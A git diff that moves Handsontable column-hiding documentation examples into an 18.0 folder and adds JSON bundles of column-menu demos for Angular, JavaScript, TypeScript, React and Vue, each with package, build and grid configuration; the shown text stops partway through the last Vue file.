a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__angular__example1.ts.json new file mode 100644 index 00000000..93567546 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column menu · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-menu/angular/example1.ts","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__angular__example2.ts.json new file mode 100644 index 00000000..b363e90c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column menu · Plugin configuration · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n dropdownMenu: [\n 'remove_col',\n '---------',\n 'make_read_only',\n '---------',\n 'alignment',\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-menu/angular/example2.ts","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example1.js.json new file mode 100644 index 00000000..260109e1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column menu · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-menu/javascript/example1.js","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example1.ts.json new file mode 100644 index 00000000..c60f5d03 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column menu · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-menu/javascript/example1.ts","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example2.js.json new file mode 100644 index 00000000..d560bb92 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column menu · Plugin configuration · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n dropdownMenu: ['remove_col', '---------', 'make_read_only', '---------', 'alignment'],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-menu/javascript/example2.js","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example2.ts.json new file mode 100644 index 00000000..9523997d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column menu · Plugin configuration · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n dropdownMenu: ['remove_col', '---------', 'make_read_only', '---------', 'alignment'],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-menu/javascript/example2.ts","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__react__example1.tsx.json new file mode 100644 index 00000000..821773f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column menu · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-menu/react/example1.tsx","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__react__example2.tsx.json new file mode 100644 index 00000000..2c4e4dbb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column menu · Plugin configuration · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-menu/react/example2.tsx","breadcrumb":["Columns","Column menu"],"guide":"guides/columns/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__vue__example1.vue.json new file mode 100644 index 00000000..2cdacbd7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-menu__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column menu · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
